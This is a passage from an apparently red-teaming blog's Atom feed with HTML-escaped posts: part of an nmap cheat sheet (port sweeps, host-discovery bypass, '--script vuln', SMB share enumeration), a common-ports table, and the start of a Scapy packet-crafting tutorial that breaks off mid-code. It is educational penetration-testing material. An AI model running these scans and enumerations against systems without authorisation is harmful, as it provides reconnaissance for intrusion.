&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -T4 -F host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # quick scan (common ports) (ex. 192.168.56.3-5)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -p 445,3389 host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # specific ports across a subnet (ex. 192.168.56.0&#x2F;24)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Timing&lt;&#x2F;strong&gt;: &lt;code&gt;-T0&lt;&#x2F;code&gt; (slow&#x2F;stealthy) … &lt;code&gt;-T5&lt;&#x2F;code&gt; (fast&#x2F;noisy); &lt;code&gt;-T4&lt;&#x2F;code&gt; is typical in labs&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Subnet&lt;&#x2F;strong&gt;: &lt;code&gt;192.168.56.0&#x2F;24&lt;&#x2F;code&gt; (whole &#x2F;24) or a range &lt;code&gt;192.168.56.1-254&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Zenmap&lt;&#x2F;strong&gt; is the GUI front-end; append &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; to run it in the background&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;-sV&lt;&#x2F;code&gt; turns &quot;port 8000 open&quot; into &quot;vLLM 0.x on 8000&quot; → the input for CVE lookup&lt;&#x2F;p&gt;
&lt;p&gt;Saving output:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -sV -sC -oA scans&#x2F;target host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # -oA = save .nmap + .gnmap + .xml at once&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; ... -oN out.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # normal human-readable output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; ... -oG out.grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # greppable - easy to pipe into grep&#x2F;cut&#x2F;awk&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When a host &quot;looks dead&quot;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -Pn host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # skip host discovery, assume the host is up (target blocks ping)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -n  host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # don&amp;#39;t resolve DNS - faster&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;Windows and firewalled hosts often drop ICMP, so the default discovery reports &quot;host down&quot; even though it&#x27;s alive. -Pn forces the scan.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scan-types-udp&quot;&gt;Scan types + UDP&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -sS host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # SYN &#x2F; stealth scan (default when root)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -sT host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # TCP connect (fallback when not root)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -sU --top-ports&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # UDP scan (DNS&#x2F;SNMP&#x2F;... - slow, limit the ports)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;A TCP scan won&#x27;t see UDP services (DNS 53, SNMP 161, etc.).&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nse-scripts&quot;&gt;NSE scripts&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -sC host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # = --script=default&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; --script vuln host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # known-vulnerability checks&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; --script &amp;quot;smb-enum-shares,smb-os-discovery&amp;quot; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 445&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; host&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-sC&lt;&#x2F;code&gt; runs the &lt;strong&gt;default&lt;&#x2F;strong&gt; NSE script category; &lt;code&gt;--script vuln&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;--script &quot;smb-enum-shares&quot;&lt;&#x2F;code&gt; go deeper&lt;&#x2F;p&gt;
&lt;h2 id=&quot;two-stage-workflow&quot;&gt;Two-stage workflow&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# 1) quickly find open ports across the WHOLE range&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -p- --min-rate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 10000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -Pn host -oG all-ports.grep&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# 2) deep-scan only the ports you found&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -p 22,80,445 -sV -sC -A host -oA target&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;A full &lt;code&gt;-p-&lt;&#x2F;code&gt; with scripts across a subnet is slow. Sweep fast first, then run version&#x2F;script scans only on the open ports. This is the standard engagement pattern.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;&#x2F;ai-red-teaming&#x2F;notes&#x2F;ports&#x2F;&quot;&gt;Ports&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;nmap &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;nmap.org&#x2F;book&#x2F;man.html&quot;&gt;https:&#x2F;&#x2F;nmap.org&#x2F;book&#x2F;man.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>Ports</title>
        <published>2026-07-03T00:00:00+00:00</published>
        <updated>2026-07-03T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/ports/"/>
        <id>https://frekler.com/ai-red-teaming/notes/ports/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/ports/">&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Port&lt;&#x2F;th&gt;&lt;th&gt;Service&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;21&lt;&#x2F;td&gt;&lt;td&gt;FTP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;22&lt;&#x2F;td&gt;&lt;td&gt;SSH&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;25&lt;&#x2F;td&gt;&lt;td&gt;SMTP (mail)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;53&lt;&#x2F;td&gt;&lt;td&gt;DNS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;80 &#x2F; 443&lt;&#x2F;td&gt;&lt;td&gt;HTTP &#x2F; HTTPS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;139 &#x2F; 445&lt;&#x2F;td&gt;&lt;td&gt;NetBIOS &#x2F; &lt;strong&gt;SMB&lt;&#x2F;strong&gt; (Windows file sharing)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;8080&lt;&#x2F;td&gt;&lt;td&gt;often alternate HTTP &#x2F; proxy&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;1433&lt;&#x2F;td&gt;&lt;td&gt;MSSQL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;3306&lt;&#x2F;td&gt;&lt;td&gt;MySQL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;3389&lt;&#x2F;td&gt;&lt;td&gt;RDP (Windows remote desktop)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;5432&lt;&#x2F;td&gt;&lt;td&gt;PostgreSQL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;6333&lt;&#x2F;td&gt;&lt;td&gt;Qdrant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;8000&lt;&#x2F;td&gt;&lt;td&gt;often a dev &#x2F; inference server (&lt;strong&gt;vLLM&lt;&#x2F;strong&gt;, etc.)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Port states:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;open&lt;&#x2F;code&gt; (service listening)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;closed&lt;&#x2F;code&gt; (reachable, nothing there)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;filtered&lt;&#x2F;code&gt; (a firewall is dropping the probe - no reply)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>Packet crafting and manipulation with Scapy</title>
        <published>2025-09-23T00:00:00+00:00</published>
        <updated>2025-09-23T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/posts/packet-crafting-and-manipulation-with-scapy/"/>
        <id>https://frekler.com/ai-red-teaming/posts/packet-crafting-and-manipulation-with-scapy/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/posts/packet-crafting-and-manipulation-with-scapy/">&lt;pre&gt;

+ Disclaimer -----------------------+
| The content provided is           |
| for educational and informational |
| purposes only                     |
| I do not support                  |
| or encourage any illegal          |
+-----------------------------------+

&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Scapy&lt;&#x2F;strong&gt; is a powerful Python library for working with network packets. It allows you to manually construct, modify, send, sniff, and analyze packets of nearly any network protocol. Thanks to its flexibility and wide range of features, Scapy is widely used by penetration testers, security researchers, and network administrators for:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;testing reliability and security of network infrastructure,&lt;&#x2F;li&gt;
&lt;li&gt;analyzing and fuzzing protocols,&lt;&#x2F;li&gt;
&lt;li&gt;simulating network attacks,&lt;&#x2F;li&gt;
&lt;li&gt;building custom tools,&lt;&#x2F;li&gt;
&lt;li&gt;educational purposes.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;scapy-provides&quot;&gt;Scapy provides:&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Packet creation&lt;&#x2F;strong&gt; (IP, TCP, UDP, ICMP, ARP, IPv6, DNS, DHCP, and many more),&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Modification&lt;&#x2F;strong&gt; of fields and headers,&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Sending&lt;&#x2F;strong&gt; custom packets or traffic streams,&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Sniffing&lt;&#x2F;strong&gt; to capture and analyze packets,&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Replay&lt;&#x2F;strong&gt; of saved &lt;code&gt;.pcap&lt;&#x2F;code&gt; traces,&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Scanning&lt;&#x2F;strong&gt; (hosts, ports, and services).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;getting-started&quot;&gt;Getting Started&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; scapy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;all&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Reduce verbosity in output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;conf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;verb&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
Basic Example
-------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;192.168.0.1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;S&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This sends a TCP SYN packet to port 80 of &lt;code&gt;192.168.0.1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;
ICMP Echo Request (Ping)
------------------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;192.168.0.1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; ICMP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;reply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;Reply:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; reply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;summary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; reply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;No response&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
DNS Query
---------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;8.8.8.8&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; UDP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;53&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;rd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; qd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DNSQR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;qname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;example.com&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;pkt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;haslayer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: 